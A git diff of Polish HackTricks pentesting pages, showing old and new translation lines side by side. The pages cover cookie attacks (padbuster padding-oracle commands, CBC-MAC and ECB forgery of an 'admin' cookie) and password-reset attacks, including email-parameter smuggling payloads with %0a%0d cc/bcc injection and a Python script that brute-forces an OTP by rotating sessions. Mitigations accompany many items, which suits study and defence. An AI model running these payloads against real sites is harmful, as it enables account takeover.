- **ciasteczko** jest **takie samo** za każdym razem, gdy się **logujesz**.
|
||||
- Wyloguj się i spróbuj użyć tego samego ciasteczka.
|
||||
- Spróbuj zalogować się z 2 urządzeń (lub przeglądarek) do tego samego konta, używając tego samego ciasteczka.
|
||||
- Sprawdź, czy ciasteczko zawiera jakiekolwiek informacje i spróbuj je zmodyfikować.
|
||||
- Spróbuj utworzyć kilka kont z prawie tym samym nazwiskiem użytkownika i sprawdź, czy możesz dostrzec podobieństwa.
|
||||
- Sprawdź opcję "**zapamiętaj mnie**", jeśli istnieje, aby zobaczyć, jak działa. Jeśli istnieje i może być podatna, zawsze używaj ciasteczka z **zapamiętaj mnie** bez żadnego innego ciasteczka.
|
||||
- Sprawdź, czy poprzednie ciasteczko działa nawet po zmianie hasła.
|
||||
- The **cookie** jest **taki sam** za każdym razem, gdy robisz **login**.
|
||||
- Log out i spróbuj użyć tego samego cookie.
|
||||
- Spróbuj zrobić **log in** na 2 devices (or browsers) do tego samego account używając tego samego cookie.
|
||||
- Sprawdź, czy cookie zawiera jakieś informacje i spróbuj je zmodyfikować
|
||||
- Spróbuj utworzyć kilka accounts z prawie tym samym username i sprawdź, czy widać podobieństwa.
|
||||
- Sprawdź opcję "**remember me**", jeśli istnieje, aby zobaczyć, jak działa. Jeśli istnieje i może być podatna, zawsze używaj cookie z **remember me** bez żadnego innego cookie.
|
||||
- Sprawdź, czy poprzedni cookie działa nawet po zmianie hasła.
|
||||
|
||||
#### **Zaawansowane ataki na ciasteczka**
|
||||
#### **Zaawansowane ataki na cookies**
|
||||
|
||||
Jeśli ciasteczko pozostaje takie samo (lub prawie takie samo) podczas logowania, prawdopodobnie oznacza to, że ciasteczko jest związane z jakimś polem twojego konta (prawdopodobnie nazwiskiem użytkownika). Wtedy możesz:
|
||||
Jeśli cookie pozostaje takie samo (lub prawie) podczas **log in**, to prawdopodobnie oznacza, że cookie jest powiązane z jakimś polem twojego account (prawdopodobnie username). Wtedy możesz:
|
||||
|
||||
- Spróbować utworzyć wiele **kont** z nazwiskami użytkowników bardzo **podobnymi** i spróbować **zgadnąć**, jak działa algorytm.
|
||||
- Spróbować **bruteforce'ować nazwisko użytkownika**. Jeśli ciasteczko jest zapisywane tylko jako metoda uwierzytelniania dla twojego nazwiska użytkownika, wtedy możesz utworzyć konto z nazwiskiem użytkownika "**Bmin**" i **bruteforce'ować** każdy pojedynczy **bit** swojego ciasteczka, ponieważ jedno z ciasteczek, które spróbujesz, będzie należało do "**admin**".
|
||||
- Spróbuj **Padding** **Oracle** (możesz odszyfrować zawartość ciasteczka). Użyj **padbuster**.
|
||||
- Spróbuj stworzyć dużo **accounts** z bardzo podobnymi usernames i spróbuj **guess** jak działa algorytm.
|
||||
- Spróbuj **bruteforce the username**. Jeśli cookie saves only as an authentication method for your username, then you can create an account with username "**Bmin**" and **bruteforce** every single **bit** of your cookie because one of the cookies that you will try will the one belonging to "**admin**".
|
||||
- Spróbuj **Padding** **Oracle** (możesz **decrypt** zawartość cookie). Użyj **padbuster**.
|
||||
|
||||
**Padding Oracle - Przykłady Padbuster**
|
||||
**Padding Oracle - Padbuster przykłady**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
@ -271,43 +278,44 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster pode podjąć kilka prób i zapyta cię, która z warunków jest warunkiem błędu (tym, który jest nieprawidłowy).
|
||||
Padbuster wykona kilka prób i zapyta Cię, który warunek jest warunkiem błędu (ten, który nie jest prawidłowy).
|
||||
|
||||
Następnie zacznie deszyfrować ciasteczko (może to potrwać kilka minut).
|
||||
Następnie zacznie odszyfrowywać cookie (może to potrwać kilka minut)
|
||||
|
||||
Jeśli atak został pomyślnie przeprowadzony, możesz spróbować zaszyfrować ciąg według własnego wyboru. Na przykład, jeśli chcesz **zaszyfrować** **user=administrator**.
|
||||
Jeśli atak zostanie pomyślnie przeprowadzony, możesz spróbować zaszyfrować ciąg znaków według własnego wyboru. Na przykład, jeśli chcesz **encrypt** **user=administrator**
|
||||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
To wykonanie da ci ciasteczko poprawnie zaszyfrowane i zakodowane z ciągiem **user=administrator** wewnątrz.
|
||||
To uruchomienie zwróci cookie poprawnie zaszyfrowane i zakodowane z ciągiem **user=administrator** w środku.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Może ciasteczko mogłoby mieć jakąś wartość i mogłoby być podpisane przy użyciu CBC. Wtedy integralność wartości to podpis utworzony przy użyciu CBC z tą samą wartością. Ponieważ zaleca się użycie jako IV wektora zerowego, ten typ sprawdzania integralności może być podatny.
|
||||
Może się zdarzyć, że cookie będzie miało jakąś wartość i będzie podpisane przy użyciu CBC. Wówczas integralność wartości jest podpisem utworzonym przy użyciu CBC na tej samej wartości. Ponieważ zaleca się użycie jako IV wektora zerowego, tego typu sprawdzanie integralności może być podatne.
|
||||
|
||||
**Atak**
|
||||
|
||||
1. Uzyskaj podpis nazwy użytkownika **administ** = **t**
|
||||
2. Uzyskaj podpis nazwy użytkownika **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Ustaw w ciasteczku wartość **administrator+t'** (**t'** będzie ważnym podpisem **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
|
||||
1. Pobierz podpis dla username **administ** = **t**
|
||||
2. Pobierz podpis dla username **rator\x00\x00\x00 XOR t** = **t'**
|
||||
3. Ustaw w cookie wartość **administrator+t'** (**t'** będzie prawidłowym podpisem dla **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**)
|
||||
|
||||
**ECB**
|
||||
|
||||
Jeśli ciasteczko jest szyfrowane przy użyciu ECB, może być podatne.\
|
||||
Kiedy logujesz się, ciasteczko, które otrzymujesz, musi być zawsze takie samo.
|
||||
Jeśli cookie jest zaszyfrowane przy użyciu ECB, może być podatne.\
|
||||
Po zalogowaniu cookie, które otrzymujesz, musi być zawsze takie samo.
|
||||
|
||||
**Jak wykryć i zaatakować:**
|
||||
Jak wykryć i zaatakować:
|
||||
|
||||
Utwórz 2 użytkowników z prawie tymi samymi danymi (nazwa użytkownika, hasło, e-mail itp.) i spróbuj odkryć jakiś wzór wewnątrz danego ciasteczka.
|
||||
- Utwórz 2 konta z niemal identycznymi danymi (username, password, email, etc.) i spróbuj odkryć jakiś wzorzec w otrzymanym cookie
|
||||
- Utwórz użytkownika np. "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i sprawdź, czy w cookie jest jakiś wzorzec (ponieważ ECB szyfruje każdy blok tym samym kluczem, te same zaszyfrowane bajty mogą się pojawić, jeśli username jest szyfrowany).
|
||||
- Powinien być widoczny wzorzec (o rozmiarze używanego bloku). Zatem, znając jak zaszyfrowana jest seria "a", możesz stworzyć username: "a"\*(size of the block)+"admin". Następnie możesz usunąć z cookie zaszyfrowany wzorzec odpowiadający blokowi "a". W ten sposób otrzymasz cookie dla username "admin".
|
||||
|
||||
Utwórz użytkownika o nazwie na przykład "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i sprawdź, czy w ciasteczku jest jakiś wzór (ponieważ ECB szyfruje z tym samym kluczem każdy blok, te same zaszyfrowane bajty mogą się pojawić, jeśli nazwa użytkownika jest szyfrowana).
|
||||
|
||||
Powinien być wzór (o rozmiarze używanego bloku). Zatem, wiedząc, jak jest zaszyfrowana masa "a", możesz utworzyć nazwę użytkownika: "a"\*(rozmiar bloku)+"admin". Następnie możesz usunąć zaszyfrowany wzór bloku "a" z ciasteczka. I będziesz miał ciasteczko dla nazwy użytkownika "admin".
|
||||
|
||||
## References
|
||||
## Źródła
|
||||
|
||||
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
|
||||
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
|
||||
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,180 +2,181 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Wycieki Tokenów Resetowania Hasła Poprzez Referer**
|
||||
## **Password Reset Token Leak Via Referrer**
|
||||
|
||||
- Nagłówek HTTP referer może ujawniać token resetowania hasła, jeśli jest zawarty w URL. Może to nastąpić, gdy użytkownik kliknie link do strony trzeciej po zażądaniu resetowania hasła.
|
||||
- **Wpływ**: Potencjalne przejęcie konta za pomocą ataków Cross-Site Request Forgery (CSRF).
|
||||
- **Eksploatacja**: Aby sprawdzić, czy token resetowania hasła wycieka w nagłówku referer, **zażądaj resetowania hasła** na swój adres e-mail i **kliknij link resetujący**. **Nie zmieniaj hasła** od razu. Zamiast tego, **przejdź do strony trzeciej** (takiej jak Facebook lub Twitter), jednocześnie **przechwytując żądania za pomocą Burp Suite**. Sprawdź żądania, aby zobaczyć, czy **nagłówek referer zawiera token resetowania hasła**, ponieważ może to ujawnić wrażliwe informacje osobom trzecim.
|
||||
- **Referencje**:
|
||||
- Nagłówek HTTP referer może leak tokena resetu hasła, jeśli jest on uwzględniony w URL. Może się to zdarzyć, gdy użytkownik kliknie link do strony zewnętrznej po zażądaniu resetu hasła.
|
||||
- **Impact**: Potencjalne przejęcie konta przez ataki Cross-Site Request Forgery (CSRF).
|
||||
- **Exploitation**: Aby sprawdzić, czy password reset token leakuje w referer header, zażądaj resetu hasła na swój adres e-mail i kliknij otrzymany reset link. **Nie zmieniaj hasła od razu.** Zamiast tego przejdź na stronę zewnętrzną (np. Facebook lub Twitter) jednocześnie przechwytując żądania przy użyciu Burp Suite. Przejrzyj żądania, aby sprawdzić, czy referer header zawiera token resetu hasła, ponieważ może to ujawnić wrażliwe informacje stronom trzecim.
|
||||
- **References**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Artykuł o Wycieku Tokenów Resetowania Hasła](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Zatrucie Resetowania Hasła**
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- Atakujący mogą manipulować nagłówkiem Host podczas żądań resetowania hasła, aby skierować link resetujący do złośliwej strony.
|
||||
- **Wpływ**: Prowadzi do potencjalnego przejęcia konta poprzez ujawnienie tokenów resetowania atakującym.
|
||||
- **Kroki łagodzące**:
|
||||
- Waliduj nagłówek Host w porównaniu do białej listy dozwolonych domen.
|
||||
- Używaj bezpiecznych, serwerowych metod do generowania absolutnych URL-i.
|
||||
- **Poprawka**: Użyj `$_SERVER['SERVER_NAME']` do konstruowania URL-i resetowania hasła zamiast `$_SERVER['HTTP_HOST']`.
|
||||
- **Referencje**:
|
||||
- [Artykuł Acunetix o Zatruciu Resetowania Hasła](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- Atakujący mogą manipulować Host header podczas żądań resetu hasła, aby skierować reset link na złośliwą stronę.
|
||||
- **Impact**: Prowadzi do potencjalnego przejęcia konta poprzez leak reset tokenów do atakującego.
|
||||
- **Mitigation Steps**:
|
||||
- Validate the Host header against a whitelist of allowed domains.
|
||||
- Use secure, server-side methods to generate absolute URLs.
|
||||
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||
- **References**:
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Resetowanie Hasła Poprzez Manipulację Parametrem E-mail**
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
Atakujący mogą manipulować żądaniem resetowania hasła, dodając dodatkowe parametry e-mail, aby przekierować link resetujący.
|
||||
Atakujący mogą manipulować żądaniem resetu hasła, dodając dodatkowe parametry email, aby przekierować reset link.
|
||||
|
||||
- Dodaj e-mail atakującego jako drugi parametr używając &
|
||||
- Dodaj adres e-mail atakującego jako drugi parametr używając &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Dodaj email atakującego jako drugi parametr, używając %20
|
||||
- Dodaj attacker email jako drugi parametr, używając %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- Dodaj email atakującego jako drugi parametr, używając |
|
||||
Dodaj attacker email jako drugi parametr używając |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Dodaj adres e-mail atakującego jako drugi parametr, używając cc
|
||||
- Dodaj adres e-mail atakującego jako drugi parametr używając cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- Dodaj email atakującego jako drugi parametr, używając bcc
|
||||
- Dodaj attacker email jako drugi parametr używając bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Dodaj email atakującego jako drugi parametr, używając ,
|
||||
- Dodaj adres e-mail atakującego jako drugi parametr używając ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- Dodaj email atakującego jako drugi parametr w tablicy json
|
||||
- Dodaj adres e-mail atakującego jako drugi parametr w tablicy json
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Kroki łagodzenia**:
|
||||
- Prawidłowo analizuj i waliduj parametry e-mailowe po stronie serwera.
|
||||
- Używaj przygotowanych zapytań lub zapytań z parametrami, aby zapobiec atakom typu injection.
|
||||
- **Kroki łagodzące**:
|
||||
- Poprawnie parsuj i waliduj parametry email po stronie serwera.
|
||||
- Użyj prepared statements lub parameterized queries, aby zapobiec atakom typu injection.
|
||||
- **Referencje**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Zmiana e-maila i hasła dowolnego użytkownika za pomocą parametrów API**
|
||||
## **Zmiana Email i Password dowolnego użytkownika przez parametry API**
|
||||
|
||||
- Atakujący mogą modyfikować parametry e-maila i hasła w żądaniach API, aby zmienić dane logowania do konta.
|
||||
- Atakujący mogą modyfikować parametry email i password w żądaniach API, aby zmienić dane logowania konta.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Kroki łagodzenia**:
|
||||
- Zapewnij ścisłą walidację parametrów i kontrole uwierzytelniania.
|
||||
- Wprowadź solidne logowanie i monitorowanie, aby wykrywać i reagować na podejrzane działania.
|
||||
- **Referencja**:
|
||||
- [Pełne przejęcie konta za pomocą manipulacji parametrami API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
- **Środki zaradcze**:
|
||||
- Zapewnij rygorystyczną walidację parametrów i kontrole uwierzytelniania.
|
||||
- Wdróż solidne logowanie i monitorowanie, aby wykrywać i reagować na podejrzane działania.
|
||||
- **Źródło**:
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Brak ograniczeń liczby żądań: Bombardowanie e-mailem**
|
||||
## **Brak Rate Limiting: Email Bombing**
|
||||
|
||||
- Brak ograniczeń liczby żądań dotyczących resetowania hasła może prowadzić do bombardowania e-mailem, przytłaczając użytkownika wiadomościami o resetowaniu.
|
||||
- **Kroki łagodzenia**:
|
||||
- Wprowadź ograniczenia liczby żądań na podstawie adresu IP lub konta użytkownika.
|
||||
- Użyj wyzwań CAPTCHA, aby zapobiec automatycznemu nadużywaniu.
|
||||
- **Referencje**:
|
||||
- [Raport HackerOne 280534](https://hackerone.com/reports/280534)
|
||||
- Brak rate limiting na żądania resetu hasła może prowadzić do email bombing, przytłaczając użytkownika wiadomościami resetującymi hasło.
|
||||
- **Środki zaradcze**:
|
||||
- Wprowadź rate limiting oparty na adresie IP lub koncie użytkownika.
|
||||
- Użyj CAPTCHA, aby zapobiec automatycznemu nadużyciu.
|
||||
- **Źródła**:
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Dowiedz się, jak generowany jest token resetowania hasła**
|
||||
## **Dowiedz się, jak generowany jest token resetu hasła**
|
||||
|
||||
- Zrozumienie wzoru lub metody generowania tokenów może prowadzić do przewidywania lub łamania tokenów. Niektóre opcje:
|
||||
- Na podstawie znacznika czasu
|
||||
- Na podstawie UserID
|
||||
- Na podstawie e-maila użytkownika
|
||||
- Na podstawie imienia i nazwiska
|
||||
- Na podstawie daty urodzenia
|
||||
- Na podstawie kryptografii
|
||||
- **Kroki łagodzenia**:
|
||||
- Zrozumienie wzorca lub metody generowania tokena może prowadzić do jego przewidywania lub brute-force'owania. Niektóre opcje:
|
||||
- Oparte na znaczniku czasu
|
||||
- Oparte na UserID
|
||||
- Oparte na adresie e-mail użytkownika
|
||||
- Oparte na imieniu i nazwisku
|
||||
- Oparte na dacie urodzenia
|
||||
- Oparte na kryptografii
|
||||
- **Środki zaradcze**:
|
||||
- Użyj silnych, kryptograficznych metod generowania tokenów.
|
||||
- Zapewnij wystarczającą losowość i długość, aby zapobiec przewidywalności.
|
||||
- **Narzędzia**: Użyj Burp Sequencer, aby analizować losowość tokenów.
|
||||
- Zadbaj o wystarczającą losowość i długość, aby zapobiec przewidywalności.
|
||||
- **Narzędzia**: użyj Burp Sequencer do analizy losowości tokenów.
|
||||
|
||||
## **Przewidywalny UUID**
|
||||
## **Guessable UUID**
|
||||
|
||||
- Jeśli UUIDy (version 1) są możliwe do odgadnięcia lub przewidywalne, atakujący mogą brute-force'ować je, aby wygenerować prawidłowe tokeny resetujące. Sprawdź:
|
||||
|
||||
- Jeśli UUID (wersja 1) są przewidywalne, atakujący mogą je łamać, aby generować ważne tokeny resetowania. Sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Kroki łagodzenia**:
|
||||
- Użyj GUID wersji 4 dla losowości lub wprowadź dodatkowe środki bezpieczeństwa dla innych wersji.
|
||||
- **Narzędzia**: Użyj [guidtool](https://github.com/intruder-io/guidtool) do analizy i generowania GUID-ów.
|
||||
- **Środki zaradcze**:
|
||||
- Użyj GUID version 4 dla losowości lub zaimplementuj dodatkowe mechanizmy bezpieczeństwa dla innych wersji.
|
||||
- **Narzędzia**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
|
||||
|
||||
## **Manipulacja odpowiedzią: Zastąpienie złej odpowiedzi dobrą**
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
|
||||
- Manipulowanie odpowiedziami HTTP, aby obejść komunikaty o błędach lub ograniczenia.
|
||||
- **Kroki łagodzenia**:
|
||||
- Wprowadź kontrole po stronie serwera, aby zapewnić integralność odpowiedzi.
|
||||
- Użyj bezpiecznych kanałów komunikacyjnych, takich jak HTTPS, aby zapobiec atakom typu man-in-the-middle.
|
||||
- **Referencja**:
|
||||
- [Krytyczny błąd w wydarzeniu Live Bug Bounty](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
- Manipulowanie odpowiedziami HTTP w celu ominięcia komunikatów o błędach lub ograniczeń.
|
||||
- **Środki zaradcze**:
|
||||
- Wprowadź sprawdzenia po stronie serwera, aby zapewnić integralność odpowiedzi.
|
||||
- Użyj bezpiecznych kanałów komunikacji, takich jak HTTPS, aby zapobiec atakom typu man-in-the-middle.
|
||||
- **Źródło**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Używanie wygasłego tokena**
|
||||
## **Using Expired Token**
|
||||
|
||||
- Testowanie, czy wygasłe tokeny mogą być nadal używane do resetowania hasła.
|
||||
- **Kroki łagodzenia**:
|
||||
- Wprowadź ścisłe zasady wygasania tokenów i waliduj wygasanie tokenów po stronie serwera.
|
||||
- Testowanie, czy wygasłe tokeny wciąż mogą być użyte do resetu hasła.
|
||||
- **Środki zaradcze**:
|
||||
- Wdróż rygorystyczne polityki wygaśnięcia tokenów i weryfikuj wygaśnięcie po stronie serwera.
|
||||
|
||||
## **Brute Force Token Resetowania Hasła**
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- Próba złamania tokena resetowania za pomocą narzędzi takich jak Burpsuite i IP-Rotator, aby obejść ograniczenia liczby żądań na podstawie IP.
|
||||
- **Kroki łagodzenia**:
|
||||
- Wprowadź solidne mechanizmy ograniczania liczby żądań i blokady konta.
|
||||
- Próby brute-force tokena resetującego przy użyciu narzędzi takich jak Burpsuite i IP-Rotator w celu ominięcia ograniczeń rate limiting opartych na IP.
|
||||
- **Środki zaradcze**:
|
||||
- Wdróż solidny rate-limiting i mechanizmy blokady konta.
|
||||
- Monitoruj podejrzane działania wskazujące na ataki brute-force.
|
||||
|
||||
## **Spróbuj użyć swojego tokena**
|
||||
## **Try Using Your Token**
|
||||
|
||||
- Testowanie, czy token resetowania atakującego może być użyty w połączeniu z e-mailem ofiary.
|
||||
- **Kroki łagodzenia**:
|
||||
- Testowanie, czy token resetujący atakującego może być użyty w połączeniu z adresem e-mail ofiary.
|
||||
- **Środki zaradcze**:
|
||||
- Upewnij się, że tokeny są powiązane z sesją użytkownika lub innymi atrybutami specyficznymi dla użytkownika.
|
||||
|
||||
## **Unieważnienie sesji przy wylogowaniu/resetowaniu hasła**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Zapewnienie, że sesje są unieważniane, gdy użytkownik się wylogowuje lub resetuje hasło.
|
||||
- **Kroki łagodzenia**:
|
||||
- Wprowadź odpowiednie zarządzanie sesjami, zapewniając, że wszystkie sesje są unieważniane po wylogowaniu lub resetowaniu hasła.
|
||||
- Zapewnienie unieważnienia sesji, gdy użytkownik wylogowuje się lub resetuje hasło.
|
||||
- **Środki zaradcze**:
|
||||
- Wdróż prawidłowe zarządzanie sesjami, zapewniając, że wszystkie sesje zostaną unieważnione po wylogowaniu lub resecie hasła.
|
||||
|
||||
## **Unieważnienie sesji przy wylogowaniu/resetowaniu hasła**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Tokeny resetowania powinny mieć czas wygaśnięcia, po którym stają się nieważne.
|
||||
- **Kroki łagodzenia**:
|
||||
- Ustaw rozsądny czas wygaśnięcia dla tokenów resetowania i ściśle egzekwuj to po stronie serwera.
|
||||
- Tokeny resetujące powinny mieć czas wygaśnięcia, po którym stają się nieważne.
|
||||
- **Środki zaradcze**:
|
||||
- Ustaw rozsądny czas wygaśnięcia dla tokenów resetujących i egzekwuj go rygorystycznie po stronie serwera.
|
||||
|
||||
## **Ominięcie limitu liczby prób OTP przez zmianę sesji**
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- Jeśli strona internetowa używa sesji użytkownika do śledzenia błędnych prób OTP, a OTP był słaby (<= 4 cyfry), to możemy skutecznie złamać OTP.
|
||||
- **eksploatacja**:
|
||||
- po prostu poproś o nowy token sesji po zablokowaniu przez serwer.
|
||||
- **Przykład** kodu, który wykorzystuje ten błąd, zgadując losowo OTP (gdy zmienisz sesję, OTP również się zmieni, więc nie będziemy mogli go łamać sekwencyjnie!):
|
||||
- Jeśli strona używa sesji użytkownika do śledzenia nieprawidłowych prób OTP i OTP jest słaby (<= 4 cyfry), można skutecznie przeprowadzić brute-force OTP.
|
||||
- **Eksploatacja**:
|
||||
- Wystarczy zażądać nowego tokena sesji po zablokowaniu przez serwer.
|
||||
- **Przykładowy kod** który wykorzystuje ten błąd przez losowe zgadywanie OTP (gdy zmienisz sesję, OTP również się zmieni, więc nie będziemy mogli przeprowadzić sekwencyjnego brute-force'a!):
|
||||
|
||||
``` python
|
||||
# Ominięcie uwierzytelniania przez reset hasła
|
||||
# autor coderMohammed
|
||||
# Authentication bypass by password reset
|
||||
# by coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
@ -192,46 +193,83 @@ parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Rozpoczynanie ataku!")
|
||||
print("[+] Starting attack!")
|
||||
sleep(3)
|
||||
print("[+] To może zająć około 5 minut!")
|
||||
print("[+] This might take around 5 minutes to finish!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # losowa liczba od 0 do 9999 z 4 cyframi
|
||||
parms["s"] = 164 # nieistotne, wpływa tylko na frontend
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
||||
parms["s"] = 164 # not important it only efects the frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # liczba prób
|
||||
out = requests.get(logout,headers=headers) # wylogowuje cię
|
||||
mainp = requests.get(root) # pobiera inny phpssid (token)
|
||||
if ter == 8: # follow number of trails
|
||||
out = requests.get(logout,headers=headers) # log u out
|
||||
mainp = requests.get(root) # gets another phpssid (token)
|
||||
|
||||
cookies = out.cookies # wyciąga sessionid
|
||||
cookies = out.cookies # extract the sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # aktualizuje nagłówki z nową sesją
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # wysyła e-mail do zmiany hasła
|
||||
ter = 0 # resetuje ter, aby uzyskać nową sesję po 8 próbach
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
||||
ter = 0 # reset ter so we get a new session after 8 trails
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # to jest długość strony, gdy poprawnie uzyskasz kod odzyskiwania (uzyskane przez testowanie)
|
||||
print(len(res.text)) # dla informacji debugowania
|
||||
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
||||
print(len(res.text)) # for debug info
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # tutaj zmienimy hasło na coś nowego
|
||||
reset_data = { # here we will change the password to somthing new
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] Hasło zostało zmienione na: D37djkamd!")
|
||||
print("[+] Password has been changed to:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Atak zatrzymany")
|
||||
print("[+] Attck stopped")
|
||||
```
|
||||
|
||||
## Referencje
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
